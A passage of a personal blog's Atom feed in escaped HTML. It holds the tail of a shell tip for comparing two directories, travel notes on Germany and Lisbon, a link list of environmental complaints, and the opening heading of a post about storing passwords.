&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/diff &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find /dirA -type f -printf &lt;span class="s2"&gt;&amp;quot;%p &amp;quot;&lt;/span&gt; -exec md5sum &lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f1 &lt;span class="p"&gt;|&lt;/span&gt; sort&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find /dirB -type f -printf &lt;span class="s2"&gt;&amp;quot;%p &amp;quot;&lt;/span&gt; -exec md5sum &lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f1 &lt;span class="p"&gt;|&lt;/span&gt; sort&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="git"&gt;&lt;code&gt;git&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Compares filenames and content. &lt;strong&gt;Slow&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git diff -D --no-index /dirA /dirB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hope this helps.&lt;/p&gt;</content><category term="Linux"></category><category term="linux"></category><category term="shell"></category><category term="diff"></category></entry><entry><title>Germany</title><link href="https://romainpellerin.eu/germany.html" rel="alternate"></link><published>2018-11-12T23:50:00+01:00</published><updated>2019-04-16T22:34:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-11-12:/germany.html</id><summary type="html">&lt;p&gt;What I know about Germany&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I got to spend a few days in Düsseldorf and Cologne. Here is my take on Germany, its social differences, and the cities I got to visit.&lt;/p&gt;
&lt;p&gt;Generally speaking, Germany can be slightly more expensive than France, excepted for food and drinks. Housing in Berlin is also much cheaper than Paris. Supermakets are really affordable everywhere. Same goes for restaurants. However, note that tipping is still a thing in Germany, as opposed to France where hardly anybody tips.&lt;/p&gt;
&lt;p&gt;Travelling to western Germany from France can be done by riding a train, usually Thalys. Quite pricey but very convenient. Farther parts can be reached via cheap flights.&lt;/p&gt;
&lt;p&gt;One funny fact - and sometimes irritating: not many businesses accept credit/debit cards,they tend to favor cash. Be prepared!&lt;/p&gt;
&lt;p&gt;One thing that I hate about Germany is that most of the time, restaurants do not serve tap water. They usually have a large variety of bottles water, still or sparkling. They're always reluctant to serve it, and when they do, they might charge you for it. It happened to me once in Berlin: 1.40 euros for a  glass of water. Some people argue that restaurants make little money out of serving food and therefore want people to buy drinks, through which they make more money because of bigger margins. Other people argue that tap water is seen as unhealthy by some people, although quality standards for tap water are much higher than bottled water in Germany. As it turns out, no one really knows why tap water is a taboo matter in restaurants.&lt;/p&gt;
&lt;p&gt;Germans like to stick to the rules. Specifically, I've never seen any local jaywalk. However I've never been told off for doing it myself so far.&lt;/p&gt;
&lt;p&gt;Germans are also big on ecology and biking. To my greatest pleasure, I've seen countless bike lanes. But, surprisingly enough, it's still very legal to smoke in some bars.&lt;/p&gt;
&lt;p&gt;Moving on to cities now...&lt;/p&gt;
&lt;h1 id="dusseldorf"&gt;Düsseldorf&lt;/h1&gt;
&lt;p&gt;I recommend a little walk in Düsseldorf's old town, Altstadt. Walk by the Rhein, enjoy the fresh air.&lt;/p&gt;
&lt;p&gt;A very nice place to chill out and enjoy a nice view at sunset is 25hours Hotel Das Tour. Go to the bar at the top, get yourself a drink, it's very affordable!&lt;/p&gt;
&lt;p&gt;Finally, if you're into getting high... check out the Rhine Tower. 9 euros, if my memory serves well.&lt;/p&gt;
&lt;h1 id="cologne"&gt;Cologne&lt;/h1&gt;
&lt;p&gt;Unfortunately, I did not get to spend much time there. However, I can still recommend the Cathedral. Most of it is open to the public for free, even a few parts of the crypt.&lt;/p&gt;
&lt;p&gt;Going to Cologne from Düsseldorf is cheap, only 11.5 euros by train. I heard one could get even lower prices, depending on the type of train.&lt;/p&gt;
&lt;h1 id="munich"&gt;Munich&lt;/h1&gt;
&lt;p&gt;Such a beautiful city! It is the third-largest city of Germany, and yet it does not feel so big. The must-see places include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Isartor&lt;/li&gt;
&lt;li&gt;Marienplatz, the main square of the city, and the New Town Hall, which you can climb to get a view of the whole city&lt;/li&gt;
&lt;li&gt;Ratskeller München, a restaurant right in the city hall courtyard&lt;/li&gt;
&lt;li&gt;Nearby are a bunch of churches: Peterskirche (you can go to the top), Heiliggeistkirche&lt;/li&gt;
&lt;li&gt;The world famous cathedral with its Devil's footprint: Frauenkirche&lt;/li&gt;
&lt;li&gt;Theatinerkirche, next to the Residenz (a 3-hour long museum)&lt;/li&gt;
&lt;li&gt;Feldherrnhalle, a monument between Theatinerkirche and the Residenz&lt;/li&gt;
&lt;li&gt;Deutsches Museum: again, dedicate at least 3 hours, and don't forget about the mine in the basement, a fun experience!&lt;/li&gt;
&lt;li&gt;Siegestor: a triumphal arc&lt;/li&gt;
&lt;li&gt;In the Englischen Garten: Monopteros, Chinese Tower and its beer garden&lt;/li&gt;
&lt;li&gt;Schloss Nymphenburg&lt;/li&gt;
&lt;li&gt;In Olympiapark: Olympiaturm (a tower, 7 euros to get to the top, with a rock museum at the top), BMW Welt (free) and BMW Museum (paid)&lt;/li&gt;
&lt;li&gt;Pinakothek der Moderne, a modern art museum - I did not really like that one, as opposed to others like Centre Pompidou in Paris or the Tate Modern Museum in London&lt;/li&gt;
&lt;li&gt;Maximilianstraße, a beautiful street&lt;/li&gt;
&lt;li&gt;Asamkirche, a tiny and surprising church&lt;/li&gt;
&lt;li&gt;Müller'sches Volksbad - pro tip: at night after 8pm, for 13 euros you get both spa and swimming pool&lt;/li&gt;
&lt;li&gt;And of course, the iconic Hofbräuhaus München&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also highly recommend the Tollwood Winter Festival. That's where we spent 2018-2019 New Year's Eve, and it was F-A-B-U-L-O-U-S. They even had lockers for us to store our fireworks. Anyone could freely walk in and out, as long as they showed a stamp on their wrist to get back inside. Plus the bands and the music were great!&lt;/p&gt;
&lt;p&gt;Pro tip: most museums cost 1 euro on Sundays! The Deutsches Museum does, at least.&lt;/p&gt;
&lt;p&gt;Transporation tip: buy a weekly IsarCard. Also, I hear the CityTourCard is a good deal, with 80+ attraction discounts included. We did not try it though.&lt;/p&gt;
&lt;h1 id="berlin"&gt;Berlin&lt;/h1&gt;
&lt;p&gt;Compared to Munich, it's a lot less pretty. Nonetheless, it's a city with so much history. It's also energetic, young, eclectic, and unpredictable. Berlin is so big that anything inside the Ringbahn is considered downtown. A few notable places I've been to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;East side gallery&lt;/li&gt;
&lt;li&gt;Oberbaum Bridge&lt;/li&gt;
&lt;li&gt;Checkpoint Charlie&lt;/li&gt;
&lt;li&gt;Jewish Museum (2 hours is enough to see it all)&lt;/li&gt;
&lt;li&gt;The Remains Of Berlin Wall, on Niederkirchnerstraße&lt;/li&gt;
&lt;li&gt;Poostdamer Platz, the most central point of the city. Make sure to visit the mall of Berlin, there's a 2-story high glide inside.&lt;/li&gt;
&lt;li&gt;Caro's music and drinks bar: open 24 hours, smoking permitted inside. Cocktails are quite pricey: I paid 12 euros per Tequila Sunrise.&lt;/li&gt;
&lt;li&gt;Maximilians restaurant: a Bavarian-style bar and restaurant. They serve "quick lunch" for 6.95 euros (on weekdays only perhaps).&lt;/li&gt;
&lt;li&gt;Memorial to the Murdered Jews of Europe&lt;/li&gt;
&lt;li&gt;Brandenburg Gate&lt;/li&gt;
&lt;li&gt;Reichstag Building&lt;/li&gt;
&lt;li&gt;Siegessäule&lt;/li&gt;
&lt;li&gt;Berliner Fernsehturm: 16.50 euros to go to the top. Wait time is usually an hour.&lt;/li&gt;
&lt;li&gt;Rotes Rathaus&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it for now! Until next time...&lt;/p&gt;
&lt;h1 id="interesting-links-on-germany"&gt;Interesting links on Germany&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.numbeo.com/cost-of-living/compare_cities.jsp?country1=France&amp;amp;country2=Germany&amp;amp;city1=Paris&amp;amp;city2=Berlin"&gt;Cost of Living Comparison Between Paris and Berlin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="germany"></category><category term="dusseldorf"></category><category term="cologne"></category></entry><entry><title>Portugal</title><link href="https://romainpellerin.eu/portugal.html" rel="alternate"></link><published>2018-11-07T23:50:00+01:00</published><updated>2018-11-15T22:04:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-11-07:/portugal.html</id><summary type="html">&lt;p&gt;My advice about Portugal&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently went for the first time of my life to Lisbon, Portugal. We stayed in a &lt;a href="https://www.airbnb.com/rooms/23113630"&gt;Airbnb&lt;/a&gt; perfectly located in the heart of Lisbon, very close to Avenida Da Liberdade.&lt;/p&gt;
&lt;p&gt;It was a great trip. The weather was decent although we had a rainy day. It averaged between 15 and 20°C, quite warm for early November. It very much reminded me of San Francisco, not only because of the identical bridge but also the hills, cable cars and sunny weather.&lt;/p&gt;
&lt;p&gt;All in all, most things can you buy are quite cheap, especially food.&lt;/p&gt;
&lt;p&gt;When you get to Lisbon, go to the visitor center and buy a 72-hour Lisboa card. It offers a great deal of discounts + free entrances to some places + unlimited public transporation for free. Let's now move on to the things to do...&lt;/p&gt;
&lt;h1 id="transportation-means"&gt;Transportation means&lt;/h1&gt;
&lt;p&gt;I highly recommend you ride a Tuk-Tuk, it's fun and cheap. A few are electrical.&lt;/p&gt;
&lt;p&gt;However, if you're more into getting old fashionned, ride the 28E tram. Fun guaranteed! It goes throughout the entire city and allow you to see it in no time.&lt;/p&gt;
&lt;p&gt;Finally, the three cable cars are also real fun. The ride is short, it takes some time, but it'll help you climb steep hills. The Ascensor da Glória is a nice one, with all the graffiti in the street and on the car itself.&lt;/p&gt;
&lt;h1 id="places"&gt;Places&lt;/h1&gt;
&lt;h2 id="cristo-rei"&gt;Cristo Rei&lt;/h2&gt;
&lt;p&gt;A crazy big Jesus monument, just across the water. We went there by boat, and came back by taxi, just for the fun of driving on the famous red bridge.&lt;/p&gt;
&lt;p&gt;Once at the monument, climb to the top and enjoy the view over Lisbon. It almost feels like San Francisco up there.&lt;/p&gt;
&lt;h2 id="belem"&gt;Belém&lt;/h2&gt;
&lt;p&gt;A little far from the city center, I suggest you spend a full day there - that's what I did. Three main places to see: Torre de Belém, Padrão dos Descobrimentos (you can go to the top!) and Jerónimos Monastery. One thing, apparently famous, but overcrowded, is Pasteis de Belém. Never managed to get in though, the line was crazy long.&lt;/p&gt;
&lt;h2 id="city-center"&gt;City center&lt;/h2&gt;
&lt;p&gt;In a random order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Comércio Plaza&lt;/li&gt;
&lt;li&gt;Arco da Rua Augusta: going to the top is fun&lt;/li&gt;
&lt;li&gt;Lisbon Cathedral&lt;/li&gt;
&lt;li&gt;Santa Justa Lift: 1-hour long line, for a view over Lisbon.&lt;/li&gt;
&lt;li&gt;Castelo de S. Jorge: don't expect anything crazy, it's mostly about the view.&lt;/li&gt;
&lt;li&gt;Square Pedro IV&lt;/li&gt;
&lt;li&gt;Praça da Figueira&lt;/li&gt;
&lt;li&gt;Praça dos Restauradores: that's where the Hardrock cafe is&lt;/li&gt;
&lt;li&gt;Monument to the Dead of the Great War&lt;/li&gt;
&lt;li&gt;Igreja de São Domingos&lt;/li&gt;
&lt;li&gt;Carmo Convent: unfortunately I did not get to see inside, because we went there at night&lt;/li&gt;
&lt;li&gt;TimeOut Market: one of my favorite places. A large range of food options, from sea food to pastries, pizzas, burgers, etc.&lt;/li&gt;
&lt;li&gt;National Pantheon: I did not get in&lt;/li&gt;
&lt;li&gt;Church of São Vicente of Fora: I did not get in&lt;/li&gt;
&lt;li&gt;Basílica da Estrela&lt;/li&gt;
&lt;li&gt;Jardim da Estrela&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="parque-das-nacoes"&gt;Parque das Nações&lt;/h2&gt;
&lt;p&gt;A place quite far from the city center, not as far as Belém though. Many entertaining activities to do there. We rode the telecabine. I wish we had time to go to the observation platform at the top of Torre Vasco da Gama. Also, the Oceanário de Lisboa is supposedly nice.&lt;/p&gt;
&lt;p&gt;Different yet interesting on a rainy day is the Centro Vasco da Gama. I bought shoes there. LOL.&lt;/p&gt;
&lt;h1 id="fun-facts"&gt;Fun facts&lt;/h1&gt;
&lt;p&gt;Lisbon's only international airport is more of a shopping mall than an actual airport. Once the security checks passed, travellers end up in the middle of dozens of shops, from the luxuary ones to McDonald's and KFC.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it! Next time, we'll most likely go to Sintra, as it appears to be a real nice place to see...&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="portugal"></category><category term="libson"></category></entry><entry><title>Damn World</title><link href="https://romainpellerin.eu/damn-world.html" rel="alternate"></link><published>2018-08-01T23:20:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-08-01:/damn-world.html</id><summary type="html">&lt;p&gt;Everything wrong with this world&lt;/p&gt;</summary><content type="html">&lt;h1 id="companies"&gt;Companies&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Monitors and TV screens left idle (on sleep mode, not turned off) all night&lt;/li&gt;
&lt;li&gt;Computers still on, either on sleep mode or simply with the current user session locked, sometimes with the screen on, all night&lt;/li&gt;
&lt;li&gt;Power supplies plugged all night&lt;/li&gt;
&lt;li&gt;Cleaners who clean the bathrooms and empty the trash bins 3 times a day, early in the morning, right after lunch and in the early evening, while once would have been enough (early morning or evening would do).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quechoisir.org/dossier-desodorisant-d-interieur-t287/"&gt;Use of toxic deodorizers in the bathrooms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Lighting at night&lt;/li&gt;
&lt;li&gt;Plastics cups dispensed by coffee machines and water dispensers&lt;/li&gt;
&lt;li&gt;Setting to sugar by default on coffee machines; forced to manually select "no sugar"&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="on-the-streets"&gt;On the streets&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;People who throw &lt;a href="https://www.nbcnews.com/news/us-news/plastic-straw-ban-cigarette-butts-are-single-greatest-source-ocean-n903661"&gt;their cigarette butts&lt;/a&gt; on the ground&lt;/li&gt;
&lt;li&gt;People waiting in their car, engine on&lt;/li&gt;
&lt;li&gt;Gas buses&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medias.mobi/ipj/blog/2016/09/30/mais-dou-vient-leau-qui-coule-dans-les-rues-de-paris/"&gt;Non-potable wat&lt;/a&gt; &lt;a href="http://www.leparisien.fr/espace-premium/yvelines-78/de-l-eau-brute-pour-laver-paris-09-09-2013-3118575.php"&gt;used to clean Paris streets&lt;/a&gt;. I'm pretty sure it all eventually ends up in the ocean, trash included.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Gas cars (diesel is the worst)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.citylab.com/transportation/2017/11/why-do-we-still-commute/544733/?utm_source=twb"&gt;The Economics of the Office: Why Do We Still Commute?&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.citylab.com/transportation/2017/10/5-reasons-why-amsterdam-works-so-well-for-bikes/544101/"&gt;5 Reasons Why Amsterdam Works So Well for Bikes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/environment/2018/aug/27/air-pollution-causes-huge-reduction-in-intelligence-study-reveals"&gt;Air pollution causes ‘huge’ reduction in intelligence, study reveals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="at-the-supermarket"&gt;At the supermarket&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://images-cdn.9gag.com/photo/argyp26_700b.jpg"&gt;Excessive packaging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plastic bags (at Walmart mostly...)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=yXu7ui7KMSM"&gt;Rob Greenfield : l’homme qui défie les supermarchés - Tout Compte Fait&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://robgreenfield.tv/foodwaste/"&gt;Food waste&lt;/a&gt; - &lt;a href="https://www.youtube.com/watch?v=yXu7ui7KMSM"&gt;even when still eatable&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=wZT3drAYIzo"&gt;Cash investigation - Plastique : la grande intox (Intégrale)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=x8GdFBp_pWs"&gt;30 JOURS ZÉRO DÉCHET : MON EXPÉRIENCE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/brutofficiel/status/1005351036477992966"&gt;Vivre sans plastique ni déchet, c’est possible. C’est ce que fait Aline. Voilà comment.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cacommenceparmoi.org/"&gt;Ça Commence Par Moi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/pulse/comment-survivre-%C3%A0-notre-d%C3%A9ni-%C3%A9cologique-romuald-priol/"&gt;Comment survivre à notre déni écologique ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sorteztoutvert.fr/"&gt;Sortez Tout Vert&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=2SCmmn3GpTM"&gt;Supermarchés : et si on en finissait avec le plastique ? - Tout compte fait&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=BoXPwoIPDX4"&gt;Des particules de plastique dans l'eau en bouteille ? - Tout compte fait&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="hunting"&gt;Hunting&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/societe/le-terrible-elevage-des-animaux-sauvages-28-11-2018-7955652.php"&gt;Le terrible élevage des animaux «sauvages» destinés à la chasse&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="in-general"&gt;In general&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.numerama.com/sciences/405296-la-terre-transformee-en-etuve-apres-ce-seuil-nos-efforts-seront-vains.html/amp"&gt;La Terre transformée en « étuve » : après ce seuil, nos efforts seront vains&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plastic cutlery&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/FlorencePorcel/status/1024608339513298944"&gt;Sur les vols @AirFranceFR, en classe Premium, 2 linges blancs en coton par personne et par vol jetés à la poubelle + reliquat neuf non utilisé jeté également #OpérationLingeBlanc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lite1.infini.fr/p/OperationLingeBlanc"&gt;OperationLingeBlanc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://freegan.info/"&gt;Capitalism&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other"&gt;Other&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/LeRasbo/status/930523617863053312"&gt;Goldfish&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.france24.com/fr/20180405-pourquoi-il-est-cruel-avoir-poisson-rouge-bocal"&gt;Goldfish bis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.eea.europa.eu/highlights/eea-report-confirms-electric-cars"&gt;EEA report confirms: electric cars are better for climate and air quality&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bloomberg.com/news/articles/2019-01-15/electric-cars-seen-getting-cleaner-even-where-grids-rely-on-coal"&gt;Electric Cars Are Cleaner Even When Powered by Coal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://reporterre.org/Le-niveau-de-CO2-dans-l-atmosphere-n-a-jamais-ete-aussi-eleve-depuis-trois"&gt;Le niveau de CO2 dans l’atmosphère n’a jamais été aussi élevé depuis trois millions d’années&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://riendeneuf.org/"&gt;Rien de Neuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=LXjcLLmVAvU"&gt;Le JTerre #3 L’info des Vivants qui Veulent le Rester&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.electricitymap.org/"&gt;Climate Impact by Area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lifehacker.com/stop-releasing-balloons-into-the-sky-1831873033"&gt;Stop Releasing Balloons Into the Sky&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fastcompany.com/90294948/what-happened-when-oslo-decided-to-make-its-downtown-basically-car-free"&gt;What happened when Oslo decided to make its downtown basically car-free?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.novethic.fr/actualite/environnement/climat/isr-rse/infographie-interdiction-d-acheter-une-voiture-neuve-ou-de-prendre-un-long-courrier-couvre-feu-thermique-quotas-sur-les-produits-importes-les-mesures-chocs-pour-rester-sous-1-5-c-146877.html"&gt;Infographie - Interdiction des long-courriers, couvre-feu thermique, quotas sur le café… les mesures extrêmes pour rester sous 1,5°C&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/climate.png" alt="A picture showing how to fight climate change" /&gt;
&lt;figcaption&gt;How to fight climate change.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.engadget.com/2019/02/11/global-insect-decline-scientific-review/"&gt;Insects could be extinct within a century, scientists say&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonde.fr/planete/article/2014/01/14/l-air-du-metro-pollue-lui-aussi_4347287_3244.html"&gt;L'air du métro ? Pollué, lui aussi...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.franceinter.fr/environnement/est-ce-que-le-plastique-se-recycle-vraiment"&gt;Est-ce que le plastique se recycle vraiment ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.liberation.fr/planete/2019/04/02/la-fin-du-monde-justifie-t-elle-les-moyens_1719002"&gt;La fin du monde justifie-t-elle les moyens ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@andreasgal/no-one-should-have-to-travel-in-fear-b2bff4c460e5"&gt;No one should have to travel in fear&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonde.fr/planete/article/2019/04/11/combien-de-co2-pourrez-vous-emettre-dans-votre-vie-si-le-rechauffement-est-contenu-a-1-5-degre_5448606_3244.html"&gt;Combien de CO2 pourrez-vous émettre dans votre vie si le réchauffement est contenu à 1,5 °C ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2019/04/24/well/mind/putting-down-your-phone-may-help-you-live-longer.html"&gt;Putting Down Your Phone May Help You Live Longer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qz.com/quartzy/1354651/shoppers-are-buying-clothes-just-for-the-instagram-pic-and-then-return-them/"&gt;Shoppers are buying clothes just for the Instagram pic, and then returning them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.francetvinfo.fr/monde/environnement/video-comme-des-sacs-normaux-ces-sacs-biodegradables-qui-ne-le-sont-pas-vraiment_3422531.html"&gt;VIDEO. "Comme des sacs normaux" : ces sacs biodégradables qui ne le sont pas vraiment...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=rWfb0VMCQHE"&gt;The Bill - short film - Germanwatch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=eg-E1FtjaxY"&gt;The Story of a Spoon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://truecostmovie.com/"&gt;The True Cost&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=4LToxHsxJso"&gt;L'Homme, destructeur de la Terre | ARTE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bbc.com/news/world-us-canada-48486672"&gt;US demands social media details from visa applicants&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/laydgeur/status/1142767487420903424"&gt;Quel devrait être le taux de remplissage des trains pour avoir les mêmes émissions de CO2 que l’avion ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mrmondialisation.org/un-cadre-dhsbc-demissionne-publiquement-avec-une-lettre-ouverte-a-lhumanite/"&gt;Un cadre d’HSBC démissionne publiquement avec une lettre ouverte à l’humanité&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/IvanduRoy/status/1164177859830845444"&gt;Thread #Amazonie - Ces petits points rouges, le long de la route BR 163 dans l'Etat du Para au Brésil, sont autant de feux allumés par les "fazendeiros" (gros propriétaires terriens), qui promettaient ce 10 août un "dia de fogo", un jour de feu.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/C_Najdovski/status/1171402033972355072"&gt;Une nouvelle étude démontre que les émissions réelles des véhicules #diesel sont largement au-dessus des normes d’homologation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonde.fr/economie/article/2019/09/10/pollution-a-paris-meme-les-diesels-les-plus-recents-depassent-largement-les-normes_5508579_3234.html"&gt;Pollution : à Paris, même les diesels les plus récents dépassent largement les normes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.respire-asso.org/les-enfants-sont-plus-vulnerables-pollution-de-l-air/"&gt;Les enfants sont plus vulnérables à la pollution de l’air&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ploum.net/sauvons-la-planete-de-lecologie-hysterique/"&gt;Sauvons la planète de l’écologie hystérique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lesjours.fr/obsessions/suv/"&gt;SUV qui peut&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/environment/2019/oct/10/exclusive-carmakers-opponents-climate-action-us-europe-emissions"&gt;Exclusive: carmakers among key opponents of climate action&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/cities/2019/oct/07/a-deadly-problem-should-we-ban-suvs-from-our-cities?CMP=Share_AndroidApp_Tweet"&gt;'A deadly problem': should we ban SUVs from our cities?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.latimes.com/environment/story/2019-10-02/california-microplastics-ocean-study"&gt;The biggest likely source of microplastics in California coastal waters? Our car tires&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pricetags.ca/2019/10/07/why-we-should-ban-suvs-in-cities/"&gt;Why We Should Ban SUVs in Cities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2019/10/27/nyregion/nyc-amazon-delivery.html"&gt;1.5 Million Packages a Day: The Internet Brings Chaos to N.Y. Streets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9w2SmxAQjk0"&gt;POUR NE RIEN DIRE, Ep. 02 : L'écolobashing et le greenwashing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="ecology"></category><category term="environment"></category><category term="waste"></category><category term="earth"></category></entry><entry><title>On Storing Passwords In A Safe Way</title><link href="https://romainpellerin.eu/on-storing-passwords-in-a-safe-way.html" rel="alternate"></link><published>2018-07-31T00:20:00+02:00</published><updated>2020-01-06T10:48:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-07-31:/on-storing-passwords-in-a-safe-way.html</id><summary type="html">&lt;p&gt;My journey towards increased security&lt;/p&gt;</summary><content type="html">&lt;p&gt;It's been a while since I last wrote here... Let's fix this with a new article on an important topic.&lt;/p&gt;
&lt;h1 id="storing-passwords"&gt;Storing passwords&lt;/h1&gt;
